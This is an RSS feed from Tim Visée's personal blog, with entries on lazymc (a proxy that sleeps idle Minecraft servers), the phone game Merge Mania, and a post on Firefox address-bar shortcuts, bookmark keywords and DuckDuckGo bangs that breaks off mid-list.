<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
    <channel>
        <title>Tim Visée</title>
        <link>https://timvisee.com</link>
        <description>Personal portfolio and blog of Tim Visée</description>
        <generator>Zola</generator>
        <language>en</language>
        <atom:link href="https://timvisee.com/rss.xml" rel="self" type="application/rss+xml"/>
        <lastBuildDate>Thu, 11 Nov 2021 00:00:00 +0000</lastBuildDate>
        
            <item>
                <title>lazymc</title>
                <pubDate>Thu, 11 Nov 2021 00:00:00 +0000</pubDate>
                <link>https://timvisee.com/projects/lazymc/</link>
                <guid>https://timvisee.com/projects/lazymc/</guid>
                <description>&lt;blockquote&gt;
&lt;p&gt;Put your Minecraft server to rest when idle.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;lazymc&quot;&gt;Visit project page on GitHub&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;code&gt;lazymc&lt;&#x2F;code&gt; puts your Minecraft server to rest when idle, and wakes it up when
players connect.&lt;&#x2F;p&gt;
&lt;p&gt;Some Minecraft servers (especially modded) use an insane amount of resources
when nobody is playing. lazymc helps by stopping your server when idle, until a
player connects again.&lt;&#x2F;p&gt;
&lt;p&gt;lazymc functions as proxy between clients and the server. It handles all
incoming status connections until the server is started and then transparently
relays&#x2F;proxies the rest. All without them noticing.&lt;&#x2F;p&gt;
&lt;video controls&gt;
    &lt;source src=&quot;https:&#x2F;&#x2F;user-images.githubusercontent.com&#x2F;856222&#x2F;141378688-882082be-9efa-4cfe-81cc-5a7ab8b8e86b.mp4&quot; type=&quot;video&#x2F;mp4&quot;&gt;
&lt;&#x2F;video&gt;
&lt;br&gt;
&lt;br&gt;
&lt;details&gt;&lt;summary&gt;Click to see screenshots&lt;&#x2F;summary&gt;
&lt;p&gt;
&lt;p&gt;&lt;p&gt;
    &lt;a href=&quot;sleeping.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;6a20bedf7f5584ea00.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;

&lt;p&gt;
    &lt;a href=&quot;join.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;87eae4b4b1c54b8300.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;

&lt;p&gt;
    &lt;a href=&quot;starting.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;ea685b051c7ba83200.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;

&lt;p&gt;
    &lt;a href=&quot;started.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;8d44676ac948fc1500.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;
&lt;&#x2F;p&gt;
&lt;&#x2F;p&gt;
&lt;&#x2F;details&gt;
&lt;hr &#x2F;&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;lazymc&#x2F;#features&quot;&gt;Features&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;lazymc&#x2F;#requirements&quot;&gt;Requirements&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;lazymc&#x2F;#usage&quot;&gt;Usage&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;lazymc&#x2F;#compile-from-source&quot;&gt;Compile from source&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;em&gt;View more on the project pages over at:&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;lazymc&quot;&gt;GitHub&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.com&#x2F;timvisee&#x2F;lazymc&quot;&gt;GitLab&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</description>
            </item>
        
            <item>
                <title>Merge Mania</title>
                <pubDate>Mon, 11 Oct 2021 00:00:00 +0000</pubDate>
                <link>https://timvisee.com/projects/merge-mania/</link>
                <guid>https://timvisee.com/projects/merge-mania/</guid>
                <description>&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.com&#x2F;timvisee&#x2F;merge-mania&#x2F;pipelines&quot;&gt;&lt;img src=&quot;https:&#x2F;&#x2F;gitlab.com&#x2F;timvisee&#x2F;merge-mania&#x2F;badges&#x2F;master&#x2F;pipeline.svg&quot; alt=&quot;Build status on GitLab CI&quot; &#x2F;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;merge-mania&quot;&gt;Visit project page on GitHub&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;A real-time team based merging&#x2F;trading game to play using your phone.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Played in teams for a set time period&lt;&#x2F;li&gt;
&lt;li&gt;Players, in a team, use their phone to play the game&lt;&#x2F;li&gt;
&lt;li&gt;Each team has &lt;em&gt;money&lt;&#x2F;em&gt;, &lt;em&gt;energy&lt;&#x2F;em&gt; and an inventory grid with their &lt;em&gt;items&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Factory items, on your grid, produce items at a set interval, on your grid&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Merge&lt;&#x2F;strong&gt; two items of the same type into a better item&lt;&#x2F;li&gt;
&lt;li&gt;Discover new items and tiers as you play&lt;&#x2F;li&gt;
&lt;li&gt;Players run between outposts to earn &lt;em&gt;energy&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;Energy&lt;&#x2F;em&gt; is used to buy additional &lt;em&gt;factories&lt;&#x2F;em&gt; on the grid, producing new items&lt;&#x2F;li&gt;
&lt;li&gt;Buy lots of factories to gain items as quickly as possible&lt;&#x2F;li&gt;
&lt;li&gt;Merge &amp;amp; sell smart to earn as much as possible&lt;&#x2F;li&gt;
&lt;li&gt;After playing, the team earning the most wins&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;p&gt;
    &lt;a href=&quot;game-main.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;70b81b10f9129e2700.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;

&lt;p&gt;
    &lt;a href=&quot;game-merge.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;e93f796b4a524d7400.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;

&lt;p&gt;
    &lt;a href=&quot;game-buy.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;2088d3ffa74f7ae800.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;

&lt;p&gt;
    &lt;a href=&quot;game-details.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;164ead0426d2faab00.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;

&lt;p&gt;
    &lt;a href=&quot;game-details-factory.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;ebc8ffc1656d1b3c00.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;

&lt;p&gt;
    &lt;a href=&quot;game-scan-code.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;a4af7e0c9bc5b9ec00.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;

&lt;p&gt;
    &lt;a href=&quot;game-stats.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;a07cc9971e052a7300.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;

&lt;p&gt;
    &lt;a href=&quot;game-leaderboard.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;2e982d23ce87835b00.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;

&lt;p&gt;
    &lt;a href=&quot;admin.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;2ca509a82426c81600.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;

&lt;p&gt;
    &lt;a href=&quot;outpost.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;411f21edb55f8f3800.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;
&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;merge-mania#player-explanation&quot;&gt;Player explanation&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;merge-mania#how-to-use&quot;&gt;How to use&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;em&gt;View more on the project pages over at:&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;merge-mania&quot;&gt;GitHub&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.com&#x2F;timvisee&#x2F;merge-mania&quot;&gt;GitLab&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</description>
            </item>
        
            <item>
                <title>Firefox tricks: efficient QuantumBar usage</title>
                <pubDate>Tue, 07 Sep 2021 00:00:00 +0000</pubDate>
                <link>https://timvisee.com/blog/firefox-tricks-quantumbar/</link>
                <guid>https://timvisee.com/blog/firefox-tricks-quantumbar/</guid>
                <description>&lt;p&gt;
    &lt;a href=&quot;&#x2F;blog&#x2F;firefox-tricks-quantumbar&#x2F;header.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;9f4c6ad813e16fa300.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;
&lt;p&gt;The Firefox &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;firefox-source-docs.mozilla.org&#x2F;browser&#x2F;urlbar&#x2F;index.html#address-bar&quot;&gt;QuantumBar&lt;&#x2F;a&gt; (formerly AwesomeBar, or just
address bar) is surprisingly capable. There&#x27;s a lot you can do with it to
quickly navigate through your browser. It&#x27;s one of the things which makes
Firefox so comfy to me.&lt;&#x2F;p&gt;
&lt;p&gt;I like to be as quick as possible without leaving the keyboard. For this, I use
&lt;em&gt;scope characters&lt;&#x2F;em&gt;, &lt;em&gt;bookmark keywords&lt;&#x2F;em&gt;, and &lt;em&gt;DuckDuckGo bangs&lt;&#x2F;em&gt;. In this article
I&#x27;ll go through these features and hope to show you something new, no add-ons
required.&lt;&#x2F;p&gt;
&lt;span id=&quot;continue-reading&quot;&gt;&lt;&#x2F;span&gt;&lt;h2 id=&quot;restrict-characters-scopes&quot;&gt;Restrict characters, scopes
    &lt;a class=&quot;anchor&quot; href=&quot;#restrict-characters-scopes&quot; aria-label=&quot;Anchor link for: restrict-characters-scopes&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;By default, when you type search terms in the address bar, the suggestion list
shows various suggestions types, including search results, bookmarks, and open
tabs. I usually find these to be spot-on already.&lt;&#x2F;p&gt;
&lt;p&gt;When looking for a specific type of result through, like an open tab, you can
speed up the process by adding special characters with a whitespace in the
address bar before (or after) your search terms. Firefox is vague about its
naming, so I call these scope characters.&lt;&#x2F;p&gt;
&lt;p&gt;Available scope characters:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;%&lt;&#x2F;code&gt;: limit to open tabs&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;^&lt;&#x2F;code&gt;: limit to browser history&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;*&lt;&#x2F;code&gt;: limit to bookmarks&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;+&lt;&#x2F;code&gt;: limit to tagged bookmarks&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;#&lt;&#x2F;code&gt;: limit to pages where search terms are part of title or tag&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;$&lt;&#x2F;code&gt;: limit to pages where search terms are part of the address&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;?&lt;&#x2F;code&gt;: limit to search suggestions&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Imagine you want to jump to an open Google tab, simply type:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#191919;color:#f8f8f2;&quot;&gt;&lt;code&gt;&lt;span&gt;% google
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;
    &lt;a href=&quot;&#x2F;blog&#x2F;firefox-tricks-quantumbar&#x2F;tab-google.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;c2f880160c7fc19800.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;
&lt;p&gt;Or you want to find an &lt;em&gt;MDN&lt;&#x2F;em&gt; bookmark on &lt;em&gt;Progressive web apps&lt;&#x2F;em&gt; you added to
your huge bookmarks collection ages ago. &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.mozilla.org&#x2F;Firefox&#x2F;Proton&quot;&gt;Proton&lt;&#x2F;a&gt; even shows a fancy
hint now:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#191919;color:#f8f8f2;&quot;&gt;&lt;code&gt;&lt;span&gt;* mdn pwa
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;
    &lt;a href=&quot;&#x2F;blog&#x2F;firefox-tricks-quantumbar&#x2F;bookmark-mdn-pwa.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;d2b8b4f398a6560a00.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;
&lt;p&gt;Simple! By the way, use &lt;kbd class=&quot;bind&quot;&gt;&lt;kbd&gt;Ctrl&lt;&#x2F;kbd&gt;+&lt;kbd&gt;L&lt;&#x2F;kbd&gt;&lt;&#x2F;kbd&gt; or
&lt;kbd&gt;F6&lt;&#x2F;kbd&gt; to quickly focus the address bar.&lt;&#x2F;p&gt;
&lt;p&gt;Firefox documentation lists this feature &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;support.mozilla.org&#x2F;en-US&#x2F;kb&#x2F;address-bar-autocomplete-firefox#w_changing-results-on-the-fly&quot;&gt;here&lt;&#x2F;a&gt;. It has changed a
bit during Firefox&#x27;s lifetime as you can see &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;kb.mozillazine.org&#x2F;Location_Bar_search#Location_Bar_search_.28internal_-_Auto_Complete.29&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;bookmark-keywords-smart-triggers&quot;&gt;Bookmark keywords, smart triggers
    &lt;a class=&quot;anchor&quot; href=&quot;#bookmark-keywords-smart-triggers&quot; aria-label=&quot;Anchor link for: bookmark-keywords-smart-triggers&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;Almost every browser supports bookmarks. However, Firefox allows you to
configure a bookmark keyword to make them easily accessible and interactive.&lt;&#x2F;p&gt;
&lt;p&gt;The keyword acts as a trigger in the address bar. You basically extend the scope
characters above with your bookmarks to your liking.&lt;&#x2F;p&gt;
&lt;p&gt;You may add a new bookmark through the bookmark manager (&lt;kbd
class=&quot;bind&quot;&gt;&lt;kbd&gt;Ctrl&lt;&#x2F;kbd&gt;+&lt;kbd&gt;Shift&lt;&#x2F;kbd&gt;+&lt;kbd&gt;O&lt;&#x2F;kbd&gt;&lt;&#x2F;kbd&gt;) or editing an
existing one, then the &lt;em&gt;Keyword&lt;&#x2F;em&gt; field shows up. This is where you specify your
keyword term to trigger it with. You may put &lt;code&gt;%s&lt;&#x2F;code&gt; in the bookmark URL, which
will be replaced with what you type after the trigger keyword, making them
interactive.&lt;&#x2F;p&gt;
&lt;p&gt;
    &lt;a href=&quot;&#x2F;blog&#x2F;firefox-tricks-quantumbar&#x2F;bookmark-edit.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;31f8fb4daf69dfe600.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;
&lt;p&gt;The simplest example would be to quickly jump to your favorite site. Set a
bookmark with the &lt;code&gt;d&lt;&#x2F;code&gt; keyword. Type &lt;code&gt;d&lt;&#x2F;code&gt; in your address bar and hit enter to
instantly jump to your bookmarked webpage. Though this isn&#x27;t so interesting.&lt;&#x2F;p&gt;
&lt;p&gt;Here are some better examples I use a lot:&lt;&#x2F;p&gt;
&lt;h4 id=&quot;bookmark-specific-search-engine&quot;&gt;Bookmark: specific search engine
    &lt;a class=&quot;anchor&quot; href=&quot;#bookmark-specific-search-engine&quot; aria-label=&quot;Anchor link for: bookmark-specific-search-engine&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h4&gt;
&lt;p&gt;Quickly search with a specific search engine:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#191919;color:#f8f8f2;&quot;&gt;&lt;code&gt;&lt;span&gt;d what is the answer to life
&lt;&#x2F;span&gt;&lt;span&gt;wiki bikeshedding
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;
    &lt;a href=&quot;&#x2F;blog&#x2F;firefox-tricks-quantumbar&#x2F;bookmark-search.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;dc14053a9d60a6d200.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;
&lt;details&gt;
&lt;summary&gt;Tap to see bookmark config&lt;&#x2F;summary&gt;
&lt;blockquote&gt;
&lt;p&gt;Keyword: &lt;code&gt;d&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;
Url: &lt;code&gt;https:&#x2F;&#x2F;duckduckgo.com&#x2F;?q=%s&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Keyword: &lt;code&gt;wiki&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;
Url: &lt;code&gt;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Special:Search&#x2F;%s&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;details&gt;
&lt;h4 id=&quot;bookmark-jump-to-subreddit&quot;&gt;Bookmark: jump to subreddit
    &lt;a class=&quot;anchor&quot; href=&quot;#bookmark-jump-to-subreddit&quot; aria-label=&quot;Anchor link for: bookmark-jump-to-subreddit&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h4&gt;
&lt;p&gt;Quickly jump to your favorite subreddit:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#191919;color:#f8f8f2;&quot;&gt;&lt;code&gt;&lt;span&gt;r&#x2F; linuxmasterrace
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;
    &lt;a href=&quot;&#x2F;blog&#x2F;firefox-tricks-quantumbar&#x2F;bookmark-reddit.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;c125c5d86a45189900.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;
&lt;details&gt;
&lt;summary&gt;Tap to see bookmark config&lt;&#x2F;summary&gt;
&lt;blockquote&gt;
&lt;p&gt;Keyword: &lt;code&gt;r&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;
Url: &lt;code&gt;https:&#x2F;&#x2F;reddit.com&#x2F;r&#x2F;%s&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;details&gt;
&lt;h4 id=&quot;bookmark-translate&quot;&gt;Bookmark: translate
    &lt;a class=&quot;anchor&quot; href=&quot;#bookmark-translate&quot; aria-label=&quot;Anchor link for: bookmark-translate&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h4&gt;
&lt;p&gt;Quickly translate something between English and Dutch:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#191919;color:#f8f8f2;&quot;&gt;&lt;code&gt;&lt;span&gt;ennl bikeshedding
&lt;&#x2F;span&gt;&lt;span&gt;nlen fietsenstalling
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;
    &lt;a href=&quot;&#x2F;blog&#x2F;firefox-tricks-quantumbar&#x2F;bookmark-translate.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;95d366d0a8fd003000.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;
&lt;details&gt;
&lt;summary&gt;Tap to see bookmark config&lt;&#x2F;summary&gt;
&lt;blockquote&gt;
&lt;p&gt;Keyword: &lt;code&gt;ennl&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;
Url: &lt;sub&gt;&lt;sup&gt;&lt;code&gt;https:&#x2F;&#x2F;translate.google.com&#x2F;?sl=en&amp;amp;tl=nl&amp;amp;op=translate&amp;amp;text=%s&lt;&#x2F;code&gt;&lt;&#x2F;sup&gt;&lt;&#x2F;sub&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Keyword: &lt;code&gt;nlen&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;
Url: &lt;sub&gt;&lt;sup&gt;&lt;code&gt;https:&#x2F;&#x2F;translate.google.com&#x2F;?sl=nl&amp;amp;tl=en&amp;amp;op=translate&amp;amp;text=%s&lt;&#x2F;code&gt;&lt;&#x2F;sup&gt;&lt;&#x2F;sub&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;details&gt;
&lt;h2 id=&quot;duckduckgo-bangs&quot;&gt;DuckDuckGo bangs
    &lt;a class=&quot;anchor&quot; href=&quot;#duckduckgo-bangs&quot; aria-label=&quot;Anchor link for: duckduckgo-bangs&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;For the final trick, we use the default search engine to extend address bar
functionality.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;duckduckgo.com&#x2F;&quot;&gt;DuckDuckGo&lt;&#x2F;a&gt; provides an insane amount of &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;duckduckgo.com&#x2F;bangs&quot;&gt;&lt;code&gt;!bangs&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;. These
function similar to bookmark keywords, but are preconfigured. DuckDuckGo has
more than 13K bangs &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;duckduckgo.com&#x2F;bangs&quot;&gt;available&lt;&#x2F;a&gt; for popular sites, most you can come up
with &lt;em&gt;just work&lt;&#x2F;em&gt;. Simply prefix your search terms with the appropriate bang and
hit &lt;kbd&gt;Enter&lt;&#x2F;kbd&gt;. Super powerful!&lt;&#x2F;p&gt;
&lt;p&gt;The only caveat is that it requires you to
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;support.mozilla.org&#x2F;en-US&#x2F;kb&#x2F;change-your-default-search-settings-firefox&quot;&gt;change&lt;&#x2F;a&gt; your default search engine to DuckDuckGo
to use it easily.&lt;&#x2F;p&gt;
&lt;p&gt;Here are some example queries:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ddg.gg&#x2F;?q=!g+Amsterdam&quot;&gt;&lt;code&gt;!g Amsterdam&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;: Search &lt;code&gt;Amsterdam&lt;&#x2F;code&gt; via Google, if DuckDuckGo couldn&#x27;t find it&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ddg.gg&#x2F;?q=!maps+Amsterdam&quot;&gt;&lt;code&gt;!maps Amsterdam&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;: Show &lt;code&gt;Amsterdam&lt;&#x2F;code&gt; on Google Maps&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ddg.gg&#x2F;?q=!so+Rust+string+character+count&quot;&gt;&lt;code&gt;!so Rust string character count&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;: Find a solution on StackOverflow&lt;&#x2F;li&gt;
